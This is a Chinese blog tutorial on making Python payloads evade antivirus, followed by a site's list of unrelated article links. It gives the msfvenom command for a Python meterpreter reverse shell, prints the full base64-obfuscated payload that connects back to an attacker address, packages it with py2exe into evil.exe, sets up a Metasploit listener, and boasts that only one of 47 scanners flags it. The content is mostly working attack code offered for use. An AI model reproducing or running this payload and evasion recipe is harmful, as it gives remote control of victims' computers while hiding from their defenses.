使用Python进行防病毒免杀解析


Posted in Python onDecember 13, 2019

很多渗透工具都提供了权限维持的能力,如Metasploit、Empire和Cobalt Strike,但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候,似乎越来越多的人关注的是,这个方式会不会被被杀软杀掉?

打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。

0x01 环境准备

1、软件安装

Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
Py2exe 32位:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

2、msfvenom生成Python Payload

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py

使用Python进行防病毒免杀解析

evil.py 代码如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

0x02 py2exe 打包Python程序

将evil.py复制到windows,同时创建一个setup.py文件:

from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['evil.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)

下面的方法运行 evil.py,生成可执行文件。

python ./setup.py py2exe

使用Python进行防病毒免杀解析

0x03 设置监听端口

Kali 运行Metasploit,设置监听:

msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.28.128
set LPORT 443
run

在Windows中运行evil.exe,获得一个meterpreter的会话

使用Python进行防病毒免杀解析

0x04 免杀验证

确认生成的exe文件可正常工作,接下来对evil.exe进行在线病毒扫描,以确认免杀效果如何。
这里我们使用VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 47 款杀毒引擎

使用Python进行防病毒免杀解析

扫描结果:47款杀毒引擎中,只有一个引擎报毒,主流的杀毒软件全部绕过。

网站地址: http://www.virscan.org 

参考文章:

https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1

总结

以上所述是小编给大家介绍的使用Python进行防病毒免杀,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

Python 相关文章推荐
在Python的web框架中配置app的教程
Apr 30 Python
使用pygame模块编写贪吃蛇的实例讲解
Feb 05 Python
使用sklearn之LabelEncoder将Label标准化的方法
Jul 11 Python
不知道这5种下划线的含义,你就不算真的会Python!
Oct 09 Python
解决pycharm无法识别本地site-packages的问题
Oct 13 Python
python利用百度AI实现文字识别功能
Nov 27 Python
python多线程抽象编程模型详解
Mar 20 Python
Python Process多进程实现过程
Oct 22 Python
解决pyCharm中 module 调用失败的问题
Feb 12 Python
Python+Appium实现自动化测试的使用步骤
Mar 24 Python
如何基于Python爬取隐秘的角落评论
Jul 02 Python
PyQT5速成教程之Qt Designer介绍与入门
Nov 02 Python
python 使用shutil复制图片的例子
Dec 13 #Python
基于python traceback实现异常的获取与处理
Dec 13 #Python
python 实现批量替换文本中的某部分内容
Dec 13 #Python
django多种支付、并发订单处理实例代码
Dec 13 #Python
Python+OpenCV+图片旋转并用原底色填充新四角的例子
Dec 12 #Python
Python+OpenCV 实现图片无损旋转90°且无黑边
Dec 12 #Python
使用python去除图片白色像素的实例
Dec 12 #Python
You might like
解析php中call_user_func_array的作用
2013/06/07 PHP
PHP使用PDO调用mssql存储过程的方法示例
2017/10/07 PHP
PHP删除数组中特定元素的两种方法
2019/02/28 PHP
laravel批量生成假数据的方法
2019/10/09 PHP
分享一个常用的javascript静态类
2014/12/31 Javascript
JavaScript使用指针操作实现约瑟夫问题实例
2015/04/07 Javascript
Angularjs CURD 详解及实例代码
2016/09/14 Javascript
JS函数修改html的元素内容,及修改属性内容的方法
2016/10/28 Javascript
网站申请不到支付宝接口、微信接口,免接口收款实现方式几种解决办法
2016/12/14 Javascript
详解angularjs结合pagination插件实现分页功能
2017/02/10 Javascript
Node.js利用debug模块打印出调试日志的方法
2017/04/25 Javascript
JavaScript中Object基础内部方法图
2018/02/05 Javascript
通过js动态创建标签,并设置属性方法
2018/02/24 Javascript
浅谈React中的元素、组件、实例和节点
2018/02/27 Javascript
详解从NodeJS搭建中间层再谈前后端分离
2018/11/13 NodeJs
jQuery实现的隔行变色功能【案例】
2019/02/18 jQuery
JS实现简易留言板增删功能
2020/02/08 Javascript
vue父子模板传值问题解决方法案例分析
2020/02/26 Javascript
vue video和vue-video-player实现视频铺满教程
2020/10/30 Javascript
用pywin32实现windows模拟鼠标及键盘动作
2014/04/22 Python
利用Python+Java调用Shell脚本时的死锁陷阱详解
2018/01/24 Python
基于python实现名片管理系统
2018/11/30 Python
Python编程中flask的简介与简单使用
2018/12/28 Python
python读csv文件时指定行为表头或无表头的方法
2019/06/26 Python
Python正则表达式学习小例子
2020/03/03 Python
Django多层嵌套ManyToMany字段ORM操作详解
2020/05/19 Python
win7上tensorflow2.2.0安装成功 引用DLL load failed时找不到指定模块 tensorflow has no attribute xxx 解决方法
2020/05/20 Python
python开发入门——列表生成式
2020/09/03 Python
计算机应用专业推荐信
2013/11/13 职场文书
入党自荐书范文
2014/03/09 职场文书
社会实践评语
2014/04/28 职场文书
公司老总年会致辞
2015/07/30 职场文书
公司业务员管理制度
2015/08/05 职场文书
2016天猫双十一广告语
2016/01/28 职场文书
2019年消防宣传标语集锦
2019/11/21 职场文书
java中如何截取字符串最后一位
2022/07/07 Java/Android